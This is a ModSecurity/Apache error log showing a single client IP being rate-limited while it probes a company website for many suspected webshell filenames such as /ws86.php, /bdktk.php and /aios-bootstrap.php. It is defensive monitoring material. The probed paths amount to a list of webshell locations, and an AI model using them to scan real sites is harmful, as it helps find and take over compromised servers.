[Sat Apr 18 05:04:01.864782 2026] [:error] [pid 9865:tid 9940] [client 172.213.226.43:7101] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "aeKgQazb5knECIY-C-iNSwAAAIM"]
[Sat Apr 18 05:04:03.250087 2026] [:error] [pid 9864:tid 9930] [client 172.213.226.43:7017] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "aeKgQ4CFeowknfXHM7khsgAAAFg"]
[Sat Apr 18 05:04:03.970247 2026] [:error] [pid 9863:tid 9894] [client 172.213.226.43:7112] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "aeKgQzjjiypiFrTucbL8cQAAABU"]
[Sat Apr 18 05:04:09.493588 2026] [:error] [pid 9864:tid 9907] [client 172.213.226.43:7103] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1s7y8wt9dz.php"] [unique_id "aeKgSYCFeowknfXHM7kh3AAAAEI"]
[Sat Apr 18 05:04:10.163317 2026] [:error] [pid 9864:tid 9922] [client 172.213.226.43:7151] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1s7y8wt9dz.php"] [unique_id "aeKgSoCFeowknfXHM7kh4gAAAFA"]
[Sat Apr 18 05:04:11.298162 2026] [:error] [pid 9970:tid 9996] [client 172.213.226.43:7070] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1s7y8wt9dz.php"] [unique_id "aeKgSyYdRLRhVmaIMx2jSQAAANY"]
[Sat Apr 18 05:04:12.206454 2026] [:error] [pid 9863:tid 9875] [client 172.213.226.43:6913] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1s7y8wt9dz.php"] [unique_id "aeKgTDjjiypiFrTucbL8fAAAAAI"]
[Sat Apr 18 05:04:14.974362 2026] [:error] [pid 9970:tid 9985] [client 172.213.226.43:6922] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bdktk.php"] [unique_id "aeKgTiYdRLRhVmaIMx2jUQAAAMs"]
[Sat Apr 18 05:04:18.211188 2026] [:error] [pid 9865:tid 9949] [client 172.213.226.43:7110] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bdktk.php"] [unique_id "aeKgUqzb5knECIY-C-iNaQAAAIw"]
[Sat Apr 18 05:04:20.164030 2026] [:error] [pid 9863:tid 9895] [client 172.213.226.43:6977] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bdktk.php"] [unique_id "aeKgVDjjiypiFrTucbL8iwAAABY"]
[Sat Apr 18 05:04:23.050816 2026] [:error] [pid 9863:tid 9882] [client 172.213.226.43:7032] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bdktk.php"] [unique_id "aeKgVzjjiypiFrTucbL8lgAAAAk"]
[Sat Apr 18 05:04:24.541195 2026] [:error] [pid 9864:tid 9925] [client 172.213.226.43:7139] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v5.php"] [unique_id "aeKgWICFeowknfXHM7kh_QAAAFM"]
[Sat Apr 18 05:04:25.456029 2026] [:error] [pid 9865:tid 9941] [client 172.213.226.43:7030] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v5.php"] [unique_id "aeKgWazb5knECIY-C-iNbwAAAIQ"]
[Sat Apr 18 05:04:26.762573 2026] [:error] [pid 9970:tid 9996] [client 172.213.226.43:7130] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v5.php"] [unique_id "aeKgWiYdRLRhVmaIMx2jbQAAANY"]
[Sat Apr 18 05:04:27.695600 2026] [:error] [pid 9970:tid 9987] [client 172.213.226.43:7009] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v5.php"] [unique_id "aeKgWyYdRLRhVmaIMx2jcwAAAM0"]
[Sat Apr 18 05:04:28.645264 2026] [:error] [pid 9970:tid 9980] [client 172.213.226.43:7100] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "aeKgXCYdRLRhVmaIMx2jdgAAAMY"]
[Sat Apr 18 05:04:29.910283 2026] [:error] [pid 9970:tid 9990] [client 172.213.226.43:7055] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "aeKgXSYdRLRhVmaIMx2jeQAAANA"]
[Sat Apr 18 05:04:33.472582 2026] [:error] [pid 9864:tid 9920] [client 172.213.226.43:7090] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "aeKgYYCFeowknfXHM7kiGQAAAE4"]
[Sat Apr 18 05:04:35.326871 2026] [:error] [pid 9865:tid 9955] [client 172.213.226.43:7020] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "aeKgY6zb5knECIY-C-iNfAAAAJI"]
[Sat Apr 18 05:04:37.155484 2026] [:error] [pid 9863:tid 9885] [client 172.213.226.43:7062] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws87.php"] [unique_id "aeKgZTjjiypiFrTucbL8qgAAAAw"]
[Sat Apr 18 05:04:40.732779 2026] [:error] [pid 9863:tid 9874] [client 172.213.226.43:7084] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws87.php"] [unique_id "aeKgaDjjiypiFrTucbL8tAAAAAE"]
[Sat Apr 18 05:04:42.419350 2026] [:error] [pid 9863:tid 9887] [client 172.213.226.43:7076] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws87.php"] [unique_id "aeKgajjjiypiFrTucbL8twAAAA4"]
[Sat Apr 18 05:04:43.553124 2026] [:error] [pid 9970:tid 9978] [client 172.213.226.43:7094] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws87.php"] [unique_id "aeKgayYdRLRhVmaIMx2jngAAAMQ"]
[Sat Apr 18 05:04:44.904066 2026] [:error] [pid 9865:tid 9954] [client 172.213.226.43:7018] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "aeKgbKzb5knECIY-C-iNiwAAAJE"]
[Sat Apr 18 05:04:47.050271 2026] [:error] [pid 9865:tid 9944] [client 172.213.226.43:7077] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "aeKgb6zb5knECIY-C-iNmQAAAIc"]
[Sat Apr 18 05:04:47.635205 2026] [:error] [pid 9865:tid 9961] [client 172.213.226.43:7042] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "aeKgb6zb5knECIY-C-iNnQAAAJg"]
[Sat Apr 18 05:04:49.175885 2026] [:error] [pid 9863:tid 9897] [client 172.213.226.43:6978] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "aeKgcTjjiypiFrTucbL8wwAAABg"]
[Sat Apr 18 05:04:50.862337 2026] [:error] [pid 9865:tid 9956] [client 172.213.226.43:6938] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r2.php"] [unique_id "aeKgcqzb5knECIY-C-iNpQAAAJM"]
[Sat Apr 18 05:04:53.031494 2026] [:error] [pid 9864:tid 9926] [client 172.213.226.43:7024] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r2.php"] [unique_id "aeKgdYCFeowknfXHM7kiMQAAAFQ"]
[Sat Apr 18 05:04:55.939133 2026] [:error] [pid 9864:tid 9925] [client 172.213.226.43:7023] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r2.php"] [unique_id "aeKgd4CFeowknfXHM7kiOgAAAFM"]
[Sat Apr 18 05:04:56.836854 2026] [:error] [pid 9864:tid 9910] [client 172.213.226.43:7107] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r2.php"] [unique_id "aeKgeICFeowknfXHM7kiPgAAAEU"]
[Sat Apr 18 05:04:57.953993 2026] [:error] [pid 9863:tid 9877] [client 172.213.226.43:7025] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "aeKgeTjjiypiFrTucbL80wAAAAQ"]
[Sat Apr 18 05:04:58.758069 2026] [:error] [pid 9864:tid 9917] [client 172.213.226.43:7079] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "aeKgeoCFeowknfXHM7kiRwAAAEs"]
[Sat Apr 18 05:05:00.602777 2026] [:error] [pid 9863:tid 9887] [client 172.213.226.43:7093] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "aeKgfDjjiypiFrTucbL83AAAAA4"]
[Sat Apr 18 05:05:01.652181 2026] [:error] [pid 9970:tid 9985] [client 172.213.226.43:7155] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "aeKgfSYdRLRhVmaIMx2jxAAAAMs"]
[Sat Apr 18 05:05:02.206085 2026] [:error] [pid 9864:tid 9905] [client 172.213.226.43:7015] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "aeKgfoCFeowknfXHM7kiTQAAAEA"]
[Sat Apr 18 05:05:02.996337 2026] [:error] [pid 9864:tid 9927] [client 172.213.226.43:7013] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "aeKgfoCFeowknfXHM7kiUQAAAFU"]
[Sat Apr 18 05:05:04.487271 2026] [:error] [pid 9863:tid 9876] [client 172.213.226.43:7089] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "aeKggDjjiypiFrTucbL84gAAAAM"]
[Sat Apr 18 05:05:06.101518 2026] [:error] [pid 9865:tid 9949] [client 172.213.226.43:6997] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "aeKggqzb5knECIY-C-iNuAAAAIw"]
[Sat Apr 18 05:05:07.450968 2026] [:error] [pid 9863:tid 9892] [client 172.213.226.43:6915] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/samll.php"] [unique_id "aeKggzjjiypiFrTucbL85QAAABM"]
[Sat Apr 18 05:05:12.053814 2026] [:error] [pid 9864:tid 9929] [client 172.213.226.43:6985] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/samll.php"] [unique_id "aeKgiICFeowknfXHM7kibwAAAFc"]
[Sat Apr 18 05:05:13.318957 2026] [:error] [pid 9864:tid 9910] [client 172.213.226.43:7138] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/samll.php"] [unique_id "aeKgiYCFeowknfXHM7kidAAAAEU"]
[Sat Apr 18 05:05:14.184520 2026] [:error] [pid 9863:tid 9885] [client 172.213.226.43:6930] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/samll.php"] [unique_id "aeKgijjjiypiFrTucbL87gAAAAw"]
[Sat Apr 18 05:05:14.966979 2026] [:error] [pid 9970:tid 9974] [client 172.213.226.43:7141] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aeKgiiYdRLRhVmaIMx2j1QAAAMA"]
[Sat Apr 18 05:05:15.613574 2026] [:error] [pid 9865:tid 9946] [client 172.213.226.43:7082] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aeKgi6zb5knECIY-C-iNyAAAAIk"]
[Sat Apr 18 05:05:16.420476 2026] [:error] [pid 9864:tid 9915] [client 172.213.226.43:6988] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aeKgjICFeowknfXHM7kiegAAAEk"]
[Sat Apr 18 05:05:17.965501 2026] [:error] [pid 9863:tid 9881] [client 172.213.226.43:7133] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aeKgjTjjiypiFrTucbL89AAAAAg"]
[Sat Apr 18 05:05:19.101349 2026] [:error] [pid 9970:tid 9978] [client 172.213.226.43:7035] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aeKgjyYdRLRhVmaIMx2j3AAAAMQ"]
[Sat Apr 18 05:05:20.981712 2026] [:error] [pid 9970:tid 9986] [client 172.213.226.43:7033] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aeKgkCYdRLRhVmaIMx2j4QAAAMw"]
[Sat Apr 18 05:05:21.602790 2026] [:error] [pid 9970:tid 9998] [client 172.213.226.43:7156] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aeKgkSYdRLRhVmaIMx2j4gAAANg"]
[Sat Apr 18 05:05:22.693558 2026] [:error] [pid 9863:tid 9886] [client 172.213.226.43:7010] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aeKgkjjjiypiFrTucbL89wAAAA0"]
[Sat Apr 18 05:05:25.593627 2026] [:error] [pid 9865:tid 9957] [client 172.213.226.43:7031] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rh.php"] [unique_id "aeKglazb5knECIY-C-iN0AAAAJQ"]
[Sat Apr 18 05:05:26.839067 2026] [:error] [pid 9864:tid 9915] [client 172.213.226.43:6850] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rh.php"] [unique_id "aeKgloCFeowknfXHM7kijAAAAEk"]
[Sat Apr 18 05:05:28.830331 2026] [:error] [pid 9865:tid 9958] [client 172.213.226.43:6919] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rh.php"] [unique_id "aeKgmKzb5knECIY-C-iN1QAAAJU"]
[Sat Apr 18 05:05:32.496398 2026] [:error] [pid 9865:tid 9946] [client 172.213.226.43:6920] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rh.php"] [unique_id "aeKgnKzb5knECIY-C-iN3gAAAIk"]
[Sat Apr 18 05:05:34.407482 2026] [:error] [pid 9865:tid 9958] [client 172.213.226.43:7006] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gz.php"] [unique_id "aeKgnqzb5knECIY-C-iN4gAAAJU"]
